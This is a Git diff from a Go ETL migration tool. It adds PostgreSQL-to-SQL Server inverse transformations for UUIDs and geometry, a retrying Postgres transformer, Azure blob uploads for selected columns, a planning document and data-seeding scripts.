-					continue
-				case <-ctx.Done():
-					return
-				}
-			}
-
-			err := mssqlTr.ProcessBatch(ctx, &batch, transformationPlan)
-			if err != nil {
-				if errors.Is(err, ctx.Err()) {
-					return
-				}
-
-				select {
-				case chJobErrorsOut <- custom_errors.JobError{ShouldCancelJob: true, Msg: "Transformation failed", Prev: err}:
-				case <-ctx.Done():
-				}
-				return
-			}
-
-			select {
-			case chBatchesOut <- batch:
-			case <-ctx.Done():
-				return
-			}
-
-			wgActiveBatches.Add(1)
-		}
 	}
 }

internal/app/etl/transformers/plan.go

@@ -0,0 +1,181 @@
+package transformers
+
+import (
+	"context"
+	"fmt"
+	"path"
+	"strings"
+	"time"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/azure"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/google/uuid"
+	"github.com/sirupsen/logrus"
+)
+
+func computeTransformationPlan(columns []models.ColumnType) []etl.ColumnTransformPlan {
+	var plan []etl.ColumnTransformPlan
+
+	for i, col := range columns {
+		switch col.SystemType() {
+		case "uniqueidentifier":
+			plan = append(plan, etl.ColumnTransformPlan{
+				Index: i,
+				Fn: func(v any) (any, error) {
+					if b, ok := v.([]byte); ok && b != nil {
+						return mssqlUuidToBigEndian(b)
+					}
+					return v, nil
+				},
+			})
+
+		case "geometry", "geography":
+			plan = append(plan, etl.ColumnTransformPlan{
+				Index: i,
+				Fn: func(v any) (any, error) {
+					if b, ok := v.([]byte); ok && b != nil {
+						return wkbToEwkbWithSrid(b, 4326)
+					}
+					return v, nil
+				},
+			})
+
+		case "datetime", "datetime2":
+			plan = append(plan, etl.ColumnTransformPlan{
+				Index: i,
+				Fn: func(v any) (any, error) {
+					if t, ok := v.(time.Time); ok {
+						return ensureUTC(t), nil
+					}
+					return v, nil
+				},
+			})
+		}
+	}
+
+	return plan
+}
+
+func computePostgresTransformationPlan(columns []models.ColumnType) []etl.ColumnTransformPlan {
+	var plan []etl.ColumnTransformPlan
+
+	for i, col := range columns {
+		switch col.SystemType() {
+		case "int2", "int4", "int8", "integer", "smallint", "bigint":
+			plan = append(plan, etl.ColumnTransformPlan{
+				Index: i,
+				Fn: func(v any) (any, error) {
+					if v64, ok := ToInt64(v); ok {
+						return v64, nil
+					}
+					return v, nil
+				},
+			})
+
+		case "uuid":
+			plan = append(plan, etl.ColumnTransformPlan{
+				Index: i,
+				Fn: func(v any) (any, error) {
+					switch b := v.(type) {
+					case []byte:
+						if b != nil {
+							return bigEndianToMssqlUuid(b)
+						}
+					case [16]byte:
+						return bigEndianToMssqlUuid(b[:])
+					}
+					return v, nil
+				},
+			})
+
+		case "geometry":
+			plan = append(plan, etl.ColumnTransformPlan{
+				Index: i,
+				Fn: func(v any) (any, error) {
+					if b, ok := v.([]byte); ok && b != nil {
+						return ewkbToMssqlGeo(b, false)
+					}
+					return v, nil
+				},
+			})
+
+		case "geography":
+			plan = append(plan, etl.ColumnTransformPlan{
+				Index: i,
+				Fn: func(v any) (any, error) {
+					if b, ok := v.([]byte); ok && b != nil {
+						return ewkbToMssqlGeo(b, true)
+					}
+					return v, nil
+				},
+			})
+		}
+	}
+
+	return plan
+}
+
+func computeStorageTransformationPlan(
+	ctx context.Context,
+	azureClient *azure.Client,
+	toStorage config.ToStorageConfig,
+	sourceColumns []models.ColumnType,
+	sourceTable config.SourceTableInfo,
+) []etl.ColumnTransformPlan {
+	if azureClient == nil || len(toStorage.Columns) == 0 {
+		return nil
+	}
+
+	colIndex := make(map[string]int, len(sourceColumns))
+	for i, col := range sourceColumns {
+		colIndex[strings.ToUpper(col.Name())] = i
+	}
+
+	var plan []etl.ColumnTransformPlan
+	for _, storageCol := range toStorage.Columns {
+		if storageCol.Mode != "REFERENCE_ONLY" {
+			logrus.Warnf("to_storage: unsupported mode %q for column %s — skipping", storageCol.Mode, storageCol.Source)
+			continue
+		}
+
+		idx, ok := colIndex[strings.ToUpper(storageCol.Source)]
+		if !ok {
+			logrus.Warnf("to_storage: source column %q not found in source schema — skipping", storageCol.Source)
+			continue
+		}
+
+		sourceColName := storageCol.Source
+		schema := sourceTable.Schema
+		table := sourceTable.Table
+
+		plan = append(plan, etl.ColumnTransformPlan{
+			Index: idx,
+			Fn: func(v any) (any, error) {
+				if v == nil {
+					return nil, nil
+				}
+				b, ok := v.([]byte)
+				if !ok {
+					logrus.Warnf("to_storage: expected []byte for %s.%s.%s, got %T — passing through", schema, table, sourceColName, v)
+					return v, nil
+				}
+				// start := time.Now()
+				blobPath := path.Join(storageCol.Prefix, uuid.New().String())
+				blobURL, err := azureClient.UploadAndGetURL(ctx, blobPath, b)
+				if err != nil {
+					return nil, &custom_errors.JobError{
+						Msg:  fmt.Sprintf("Error uploading %s.%s.%s", schema, table, sourceColName),
+						Prev: err,
+					}
+				}
+
+				// logrus.Debugf(`Succesfully uploaded "%s", (%vms)`, blobURL, time.Since(start).Milliseconds())
+				return blobURL, nil
+			},
+		})
+	}
+	return plan
+}

internal/app/etl/transformers/postgres.go

@@ -0,0 +1,72 @@
+package transformers
+
+import (
+	"context"
+	"sync"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+)
+
+type PostgresTransformer struct {
+	sourceTable config.SourceTableInfo
+}
+
+func NewPostgresTransformer(sourceTable config.SourceTableInfo) etl.Transformer {
+	return &PostgresTransformer{sourceTable: sourceTable}
+}
+
+func (pgTr *PostgresTransformer) Consume(
+	ctx context.Context,
+	columns []models.ColumnType,
+	retryConfig config.RetryConfig,
+	batchSize int,
+	chBatchesIn <-chan models.Batch,
+	chBatchesOut chan<- models.Batch,
+	chJobErrorsOut chan<- custom_errors.JobError,
+	wgActiveBatches *sync.WaitGroup,
+) {
+	transformationPlan := computePostgresTransformationPlan(columns)
+
+	acc := &batchAccumulator{batchSize: batchSize}
+
+	for {
+		select {
+		case <-ctx.Done():
+			return
+
+		case batch, ok := <-chBatchesIn:
+			if !ok {
+				acc.flush(ctx, chBatchesOut, wgActiveBatches)
+				return
+			}
+
+			if len(transformationPlan) > 0 {
+				if err := ProcessBatchWithRetries(ctx, &batch, transformationPlan, retryConfig); err != nil {
+					sendTransformError(ctx, err, chJobErrorsOut)
+					return
+				}
+			}
+
+			if batchSize <= 0 {
+				wgActiveBatches.Add(1)
+				select {
+				case chBatchesOut <- batch:
+				case <-ctx.Done():
+					wgActiveBatches.Done()
+					return
+				}
+				continue
+			}
+
+			acc.add(batch)
+			if acc.ready() {
+				if !acc.flush(ctx, chBatchesOut, wgActiveBatches) {
+					return
+				}
+			}
+		}
+	}
+}

internal/app/etl/transformers/process-with-retries.go

@@ -0,0 +1,73 @@
+package transformers
+
+import (
+	"context"
+	"errors"
+	"time"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+)
+
+const processBatchCtxCheck = 4096
+
+func ProcessBatchWithRetries(
+	ctx context.Context,
+	batch *models.Batch,
+	transformationPlan []etl.ColumnTransformPlan,
+	retryConfig config.RetryConfig,
+) error {
+	for i, rowValues := range batch.Rows {
+		if i%processBatchCtxCheck == 0 {
+			if err := ctx.Err(); err != nil {
+				return err
+			}
+		}
+
+		for _, task := range transformationPlan {
+			val := rowValues[task.Index]
+			if val == nil {
+				continue
+			}
+
+			var lastErr error
+			success := false
+
+			for attempt := 0; attempt < retryConfig.Attempts; attempt++ {
+				transformed, err := task.Fn(val)
+				if err == nil {
+					rowValues[task.Index] = transformed
+					success = true
+					break
+				}
+
+				lastErr = err
+				if jobError, ok := errors.AsType[*custom_errors.JobError](err); ok {
+					if jobError.ShouldCancelJob {
+						return jobError
+					}
+				}
+
+				if attempt == retryConfig.Attempts-1 {
+					break
+				}
+
+				delay := custom_errors.ComputeBackoffDelay(
+					attempt,
+					retryConfig.BaseDelayMs,
+					retryConfig.MaxDelayMs,
+					retryConfig.MaxJitterMs,
+				)
+				time.Sleep(delay)
+			}
+
+			if !success {
+				return lastErr
+			}
+		}
+	}
+
+	return nil
+}

internal/app/etl/transformers/types.go

@@ -1 +0,0 @@
-package transformers

internal/app/etl/transformers/utils.go

@@ -4,6 +4,8 @@ import (
 	"encoding/binary"
 	"errors"
 	"time"
+
+	mssqlclrgeo "github.com/gaspardle/go-mssqlclrgeo"
 )
 
 func mssqlUuidToBigEndian(mssqlUuid []byte) ([]byte, error) {
@@ -62,6 +64,29 @@ func ensureUTC(t time.Time) time.Time {
 	return time.Date(t.Year(), t.Month(), t.Day(), t.Hour(), t.Minute(), t.Second(), t.Nanosecond(), time.UTC)
 }
 
+func bigEndianToMssqlUuid(pgUuid []byte) ([]byte, error) {
+	if len(pgUuid) != 16 {
+		return nil, errors.New("Invalid uuid")
+	}
+
+	mssqlUuid := make([]byte, 16)
+	mssqlUuid[0], mssqlUuid[1], mssqlUuid[2], mssqlUuid[3] = pgUuid[3], pgUuid[2], pgUuid[1], pgUuid[0]
+	mssqlUuid[4], mssqlUuid[5] = pgUuid[5], pgUuid[4]
+	mssqlUuid[6], mssqlUuid[7] = pgUuid[7], pgUuid[6]
+	copy(mssqlUuid[8:], pgUuid[8:])
+
+	return mssqlUuid, nil
+}
+
+func ewkbToMssqlGeo(ewkb []byte, isGeography bool) ([]byte, error) {
+	if len(ewkb) < 5 {
+		return nil, errors.New("Invalid ewkb")
+	}
+	// mssqlclrgeo reads the SRID flag and bytes directly from EWKB,
+	// so no pre-processing needed — pass through as-is.
+	return mssqlclrgeo.WkbToUdtGeo(ewkb, isGeography)
+}
+
 func ToInt64(v any) (int64, bool) {
 	switch t := v.(type) {
 	case int:

internal/app/etl/types.go

@@ -9,18 +9,6 @@ import (
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 )
 
-type Extractor interface {
-	Exec(
-		ctx context.Context,
-		tableInfo config.SourceTableInfo,
-		columns []models.ColumnType,
-		batchSize int,
-		partition models.Partition,
-		indexPrimaryKey int,
-		chBatchesOut chan<- models.Batch,
-	) (int64, error)
-}
-
 type TransformerFunc func(any) (any, error)
 
 type ColumnTransformPlan struct {
@@ -29,40 +17,21 @@ type ColumnTransformPlan struct {
 }
 
 type Transformer interface {
-	ProcessBatch(
+	Consume(
-		ctx context.Context,
-		batch *models.Batch,
-		transformationPlan []ColumnTransformPlan,
-	) error
-
-	Exec(
 		ctx context.Context,
 		columns []models.ColumnType,
+		retryConfig config.RetryConfig,
+		batchSize int,
 		chBatchesIn <-chan models.Batch,
-		chBactchesOut chan<- models.Batch,
+		chBatchesOut chan<- models.Batch,
 		chJobErrorsOut chan<- custom_errors.JobError,
 		wgActiveBatches *sync.WaitGroup,
 	)
 }
 
-type Loader interface {
+type MaxMinColumnResult struct {
-	ProcessBatch(
+	Max int64
-		ctx context.Context,
+	Min int64
-		tableInfo config.TargetTableInfo,
-		colNames []string,
-		batch models.Batch,
-	) (int, error)
-
-	Exec(
-		ctx context.Context,
-		tableInfo config.TargetTableInfo,
-		columns []models.ColumnType,
-		chBatchesIn <-chan models.Batch,
-		chErrorsOut chan<- custom_errors.LoaderError,
-		chJobErrorsOut chan<- custom_errors.JobError,
-		wgActiveBatches *sync.WaitGroup,
-		rowsLoaded *int64,
-	)
 }
 
 type TableAnalyzer interface {
@@ -76,10 +45,17 @@ type TableAnalyzer interface {
 		tableInfo config.TableInfo,
 	) (int64, error)
 
+	QueryMaxMinFromColumn(
+		ctx context.Context,
+		tableInfo config.TableInfo,
+		columnName string,
+	) (MaxMinColumnResult, error)
+
 	CalculatePartitionRanges(
 		ctx context.Context,
 		tableInfo config.TableInfo,
 		partitionColumn string,
 		maxPartitions int64,
+		rangeConstraint config.RangeConfig,
 	) ([]models.Partition, error)
 }

internal/app/models/main.go

@@ -1,14 +1,23 @@
 package models
 
-import "github.com/google/uuid"
+import (
+	"time"
+
+	"github.com/google/uuid"
+)
 
 type UnknownRowValues = []any
 
+type BatchRef struct {
+	Id          uuid.UUID
+	PartitionId uuid.UUID
+}
+
 type Batch struct {
-	Id           uuid.UUID
+	Id            uuid.UUID
-	PartitionId  uuid.UUID
+	ParentBatches []BatchRef
-	Rows         []UnknownRowValues
+	Rows          []UnknownRowValues
-	RetryCounter int
+	RetryCounter  int
 }
 
 type PartitionRange struct {
@@ -25,3 +34,13 @@ type Partition struct {
 	HasRange     bool
 	RetryCounter int
 }
+
+type JobResult struct {
+	JobName    string
+	StartTime  time.Time
+	Duration   time.Duration
+	RowsRead   int64
+	RowsLoaded int64
+	RowsFailed int64
+	Error      error
+}

openspec/changes/bidirectional-transforms/plan.md

@@ -0,0 +1,137 @@
+# Plan: Bidirectional Transformation Support
+
+## Goal
+
+Make the transformation pipeline direction-aware. Currently hardcoded to MSSQL → PG; add support for PG → MSSQL by applying inverse transformations when `SourceDbType == "postgres"`.
+
+Excluded: `to_storage` Azure blob upload (not reversible).
+
+---
+
+## Hardcoded wiring to fix
+
+| File | Line | Change |
+|---|---|---|
+| `cmd/go_migrate/process.go` | 51 | Branch on `SourceDbType`: `"sqlserver"` → `NewMssqlTransformer`, `"postgres"` → `NewPostgresTransformer` |
+| `cmd/go_migrate/main.go` | 166–167 | Branch on source/target type for both `TableAnalyzer` selections |
+
+---
+
+## Transformations
+
+### Forward (MSSQL → PG) — unchanged
+
+| Column type | Function | File |
+|---|---|---|
+| `uniqueidentifier` | `mssqlUuidToBigEndian` | `utils.go:9` |
+| `geometry`/`geography` | `wkbToEwkbWithSrid` | `utils.go:25` |
+| `datetime`/`datetime2` | `ensureUTC` | `utils.go:57` |
+
+### Inverse (PG → MSSQL) — new
+
+| PG system type | Action |
+|---|---|
+| `uuid` | `bigEndianToMssqlUuid`: re-swap bytes [0-3], [4-5], [6-7] |
+| `geometry` | `ewkbToMssqlGeo(v, false)`: strip SRID → WKB → `WkbToUdtGeo` |
+| `geography` | `ewkbToMssqlGeo(v, true)`: strip SRID → WKB → `WkbToUdtGeo` |
+| `timestamp`/`timestamptz` | no-op |
+
+**Geometry note**: MSSQL rejects plain WKB via bulk protocol. Must use `mssqlclrgeo.WkbToUdtGeo(wkb, isGeography)` (already in go.mod). PG extractor already emits EWKB via `ST_AsEWKB()`.
+
+---
+
+## New utility functions (`transformers/utils.go`)
+
+### `bigEndianToMssqlUuid(v []byte) []byte`
+```
+out[0..3]  = v[3,2,1,0]
+out[4..5]  = v[5,4]
+out[6..7]  = v[7,6]
+out[8..15] = v[8..15]
+```
+
+### `ewkbToMssqlGeo(ewkb []byte, isGeography bool) ([]byte, error)`
+1. Read byte-order flag from `ewkb[0]`
+2. Read geometry type word bytes [1..4]
+3. If SRID flag (`0x20000000`) is set: strip bytes [5..8], clear flag in type word
+4. Call `mssqlclrgeo.WkbToUdtGeo(wkb, isGeography)`
+
+---
+
+## New files
+
+### `transformers/postgres.go`
+```go
+func NewPostgresTransformer(...) *Transformer {
+    // same signature as NewMssqlTransformer
+    // calls computePostgresTransformationPlan instead
+    // does NOT call computeStorageTransformationPlan
+}
+```
+
+### `computePostgresTransformationPlan` in `transformers/plan.go`
+Iterates `sourceColTypes` (from PG analyzer), applies inverse closures by system type.
+
+---
+
+## PostgreSQL table analyzer stubs to implement (`table_analyzers/postgres.go`)
+
+Required for PG-as-source partitioned extraction:
+
+### `EstimateTotalRows`
+```sql
+SELECT reltuples::bigint FROM pg_class
+  JOIN pg_namespace ON pg_namespace.oid = pg_class.relnamespace
+  WHERE pg_namespace.nspname = $schema AND pg_class.relname = $table
+```
+Fallback to `COUNT(*)` if `reltuples < 0`.
+
+### `QueryMaxMinFromColumn`
+```sql
+SELECT MIN("col"), MAX("col") FROM "schema"."table"
+```
+
+### `CalculatePartitionRanges`
+Use min/max from above + `rowsPerPartition` to compute boundaries. Mirror the logic from `MssqlTableAnalyzer.CalculatePartitionRanges`.
+
+---
+
+## Test cases
+
+### TC-1: `bigEndianToMssqlUuid` — round-trip
+- Input: run `mssqlUuidToBigEndian` on a known 16-byte MSSQL UUID → produces PG UUID
+- Assert: `bigEndianToMssqlUuid(pgUUID)` == original MSSQL UUID bytes
+- Also assert nil input → nil output (no panic)
+
+### TC-2: `bigEndianToMssqlUuid` — known vector
+- Input: `[0x6b,0xa7,0xb8,0x10, 0x9d,0xad, 0x11,0xd1, 0x80,0xb4,0x00,0xc0,0x4f,0xd4,0x30,0xc8]` (RFC 4122 nil UUID variant)
+- Assert: bytes [0-3] are reversed, [4-5] reversed, [6-7] reversed, [8-15] identical
+
+### TC-3: `ewkbToMssqlGeo` — geometry round-trip
+- Input: generate a polygon via `go-geom` + `wkb.Marshal` → plain WKB
+- Forward: run `wkbToEwkbWithSrid` → EWKB
+- Inverse: run `ewkbToMssqlGeo(ewkb, false)` → CLR/UDT bytes
+- Assert: no error, output is non-empty `[]byte`
+
+### TC-4: `ewkbToMssqlGeo` — nil input
+- Input: nil
+- Assert: returns nil, nil (no panic)
+
+### TC-5: `ewkbToMssqlGeo` — EWKB without SRID flag
+- Input: plain WKB (no SRID flag set)
+- Assert: function still calls `WkbToUdtGeo` and returns without error
+
+### TC-6: Transformer factory selection
+- Given `SourceDbType == "postgres"` → `NewPostgresTransformer` is selected
+- Given `SourceDbType == "sqlserver"` → `NewMssqlTransformer` is selected
+
+---
+
+## Files changed (summary)
+
+1. `cmd/go_migrate/process.go` — transformer factory branch
+2. `cmd/go_migrate/main.go` — analyzer selection branch
+3. `internal/app/etl/transformers/utils.go` — 2 new functions
+4. `internal/app/etl/transformers/plan.go` — `computePostgresTransformationPlan`
+5. `internal/app/etl/transformers/postgres.go` *(new)*
+6. `internal/app/etl/table_analyzers/postgres.go` — 3 stub implementations

scripts/az-blob/main.go

@@ -0,0 +1,44 @@
+package main
+
+import (
+	"context"
+	"fmt"
+	"log"
+	"math/rand"
+	"sync"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/azure"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+)
+
+func main() {
+	cfg := config.App.AzureStorage
+	containerName := cfg.Container
+
+	client, err := azure.NewClient(cfg)
+	if err != nil {
+		log.Fatalf("Error creando cliente: %v", err)
+	}
+	ctx := context.Background()
+
+	var wg sync.WaitGroup
+
+	for i := 1; i <= 10; i++ {
+		wg.Add(1)
+		go func(id int) {
+			defer wg.Done()
+
+			blobName := fmt.Sprintf("%sarchivo-%d.txt", cfg.Prefix, id)
+			content := fmt.Sprintf("Contenido aleatorio: %d", rand.Intn(100000))
+
+			err := client.UploadBuffer(ctx, containerName, blobName, []byte(content))
+			if err != nil {
+				log.Printf("Fallo al subir %s: %v", blobName, err)
+			} else {
+				fmt.Printf("Subido exitosamente: %s\n", blobName)
+			}
+		}(i)
+	}
+
+	wg.Wait()
+}

scripts/config-parser/main.go

@@ -1,6 +1,8 @@
 package main
 
 import (
+	"flag"
+
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
 	log "github.com/sirupsen/logrus"
 )
@@ -8,7 +10,18 @@ import (
 func main() {
 	log.SetLevel(log.DebugLevel)
 
-	migrationConfig, err := config.ReadMigrationConfig()
+	configPath := flag.String("config", "", "path to migration config file")
+	flag.Parse()
+
+	if flag.NArg() > 1 {
+		log.Fatalf("only one config file path is allowed")
+	}
+
+	if *configPath == "" && flag.NArg() == 1 {
+		*configPath = flag.Arg(0)
+	}
+
+	migrationConfig, err := config.ReadMigrationConfig(*configPath)
 	if err != nil {
 		log.Fatalf("error leyendo configuracion: %v", err)
 	}

scripts/mssql-copy-in/main.go

@@ -12,9 +12,9 @@ import (
 )
 
 const (
-	totalRows int    = 1_000_000
+	totalRows int = 2_000_000
-	chunkSize int    = 50_000
+	chunkSize int = 5000
-	queueSize int    = 4
+	queueSize int = 8
 )
 
 func main() {
@@ -40,6 +40,14 @@ func main() {
 		seedManzanas(ctx, db)
 	})
 
+	// wgSeed.Go(func() {
+	// 	seedPuertos(ctx, db)
+	// })
+
+	// wgSeed.Go(func() {
+	// 	seedSiteHolderAttach(ctx, db)
+	// })
+
 	wgSeed.Wait()
 }
 

scripts/mssql-copy-in/site-holder-attach.go

@@ -0,0 +1,227 @@
+package main
+
+import (
+	"bytes"
+	"context"
+	"database/sql"
+	"fmt"
+	"math/rand"
+	"sync"
+	"time"
+
+	"github.com/google/uuid"
+	log "github.com/sirupsen/logrus"
+)
+
+var siteHolderAttachJob = MigrationJob{
+	Schema: "Infraestructura",
+	Table:  "SITE_HOLDER__ATTACH",
+}
+
+func seedSiteHolderAttach(ctx context.Context, db *sql.DB) error {
+	maxOid, err := getMaxGDBArchiveOidForAttach(ctx, db)
+	if err != nil {
+		log.Fatal("Error getting max GDB_ARCHIVE_OID: ", err)
+	}
+
+	log.Infof("Starting SITE_HOLDER__ATTACH data generation from GDB_ARCHIVE_OID: %d", maxOid+1)
+
+	rowsChan := make(chan []UnknownRowValues, queueSize)
+
+	var wgRowGenerator sync.WaitGroup
+
+	wgRowGenerator.Go(func() {
+		generateSiteHolderAttachRows(ctx, maxOid, totalRows, chunkSize, rowsChan)
+	})
+
+	columns := []string{
+		"GDB_ARCHIVE_OID",
+		"REL_GLOBALID",
+		"CONTENT_TYPE",
+		"ATT_NAME",
+		"DATA_SIZE",
+		"DATA",
+		"GLOBALID",
+		"GDB_FROM_DATE",
+		"GDB_TO_DATE",
+		"ATTACHMENTID",
+	}
+
+	if err := loadRowsMssql(ctx, siteHolderAttachJob, columns, db, rowsChan); err != nil {
+		return fmt.Errorf("Error loading rows (SITE_HOLDER__ATTACH): %w", err)
+	}
+
+	log.Info("Data generation and loading completed successfully (SITE_HOLDER__ATTACH)")
+	wgRowGenerator.Wait()
+
+	return nil
+}
+
+func getMaxGDBArchiveOidForAttach(ctx context.Context, db *sql.DB) (int, error) {
+	var maxOid sql.NullInt64
+
+	query := fmt.Sprintf(`
+		SELECT ISNULL(MAX(GDB_ARCHIVE_OID), 0)
+		FROM [%s].[%s]
+	`, siteHolderAttachJob.Schema, siteHolderAttachJob.Table)
+
+	err := db.QueryRowContext(ctx, query).Scan(&maxOid)
+	if err != nil && err != sql.ErrNoRows {
+		return 0, err
+	}
+
+	if !maxOid.Valid {
+		return 0, nil
+	}
+
+	return int(maxOid.Int64), nil
+}
+
+func generateSiteHolderAttachRows(
+	ctx context.Context,
+	startOid int,
+	totalRows int,
+	chunkSize int,
+	out chan<- []UnknownRowValues,
+) {
+	defer close(out)
+
+	rowsGenerated := 0
+	currentChunk := make([]UnknownRowValues, 0, chunkSize)
+
+	for i := range totalRows {
+		gdbArchiveOid := startOid + i + 1
+		row := generateSiteHolderAttachRow(gdbArchiveOid)
+		currentChunk = append(currentChunk, row)
+		rowsGenerated++
+
+		if len(currentChunk) == chunkSize {
+			select {
+			case out <- currentChunk:
+				log.Debugf("Sent SITE_HOLDER__ATTACH chunk with %d rows", len(currentChunk))
+			case <-ctx.Done():
+				log.Info("Context cancelled, stopping SITE_HOLDER__ATTACH row generation")
+				return
+			}
+			currentChunk = make([]UnknownRowValues, 0, chunkSize)
+		}
+
+		if rowsGenerated%100_000 == 0 {
+			logSiteHolderAttachSampleRow(rowsGenerated, row)
+		}
+	}
+
+	if len(currentChunk) > 0 {
+		select {
+		case out <- currentChunk:
+			log.Debugf("Sent final SITE_HOLDER__ATTACH chunk with %d rows", len(currentChunk))
+		case <-ctx.Done():
+			log.Info("Context cancelled, stopping SITE_HOLDER__ATTACH row generation")
+		}
+	}
+
+	log.Infof("Finished generating %d SITE_HOLDER__ATTACH rows", rowsGenerated)
+}
+
+func generateSiteHolderAttachRow(gdbArchiveOid int) UnknownRowValues {
+	dateLowerLimit, _ := time.Parse(time.RFC3339, "2020-12-31T23:59:59Z")
+	dateUpperLimit, _ := time.Parse(time.RFC3339, "2025-12-31T23:59:59Z")
+
+	relGlobalID, _ := uuid.New().MarshalBinary()
+	contentType := generateRandomContentType()
+	attName := generateRandomAttachmentName()
+	binaryData := generateRandomBinaryContent()
+	dataSize := len(binaryData)
+	globalID, _ := uuid.New().MarshalBinary()
+	gdbFromDate := generateRandomTimestamp(dateLowerLimit, dateUpperLimit)
+	gdbToDate, _ := time.Parse(time.RFC3339, "9999-12-31T23:59:59Z")
+	attachmentID := rand.Intn(10000) + 1
+
+	return UnknownRowValues{
+		gdbArchiveOid,
+		relGlobalID,
+		contentType,
+		attName,
+		dataSize,
+		binaryData,
+		globalID,
+		gdbFromDate,
+		gdbToDate,
+		attachmentID,
+	}
+}
+
+func generateRandomContentType() string {
+	contentTypes := []string{
+		"text/plain",
+		"application/pdf",
+		"image/jpeg",
+		"image/png",
+		"application/msword",
+		"application/vnd.openxmlformats-officedocument.wordprocessingml.document",
+		"text/csv",
+		"application/json",
+	}
+	return contentTypes[rand.Intn(len(contentTypes))]
+}
+
+func generateRandomAttachmentName() string {
+	extensions := []string{".txt", ".pdf", ".jpg", ".png", ".doc", ".docx", ".csv", ".json"}
+	baseName := generateRandomString(20)
+	extension := extensions[rand.Intn(len(extensions))]
+	return baseName + extension
+}
+
+func generateRandomBinaryContent() []byte {
+	sizeOptions := []int{100, 500, 1000, 5000, 10000, 50000, 100000}
+	size := sizeOptions[rand.Intn(len(sizeOptions))]
+
+	var buf bytes.Buffer
+
+	lineCount := rand.Intn(size/50) + 1
+	for range lineCount {
+		line := generateRandomString(rand.Intn(80) + 20)
+		buf.WriteString(line)
+		buf.WriteString("\n")
+	}
+
+	for buf.Len() < size {
+		randomText := generateRandomString(rand.Intn(100) + 50)
+		buf.WriteString(randomText)
+		buf.WriteString("\n")
+	}
+
+	result := buf.Bytes()
+	if len(result) > size {
+		result = result[:size]
+	}
+
+	return result
+}
+
+func logSiteHolderAttachSampleRow(id int, rowValues UnknownRowValues) {
+	dataBytes := rowValues[5].([]byte)
+	log.Infof(`
+Sample SITE_HOLDER__ATTACH row #%d:
+GDB_ARCHIVE_OID: %v
+REL_GLOBALID: [binary UUID]
+CONTENT_TYPE: %v
+ATT_NAME: %v
+DATA_SIZE: %v
+DATA: [%d bytes of binary content]
+GLOBALID: [binary UUID]
+GDB_FROM_DATE: %v
+GDB_TO_DATE: %v
+ATTACHMENTID: %v
+`,
+		id,
+		rowValues[0],
+		rowValues[2],
+		rowValues[3],
+		rowValues[4],
+		len(dataBytes),
+		rowValues[7],
+		rowValues[8],
+		rowValues[9],
+	)
+}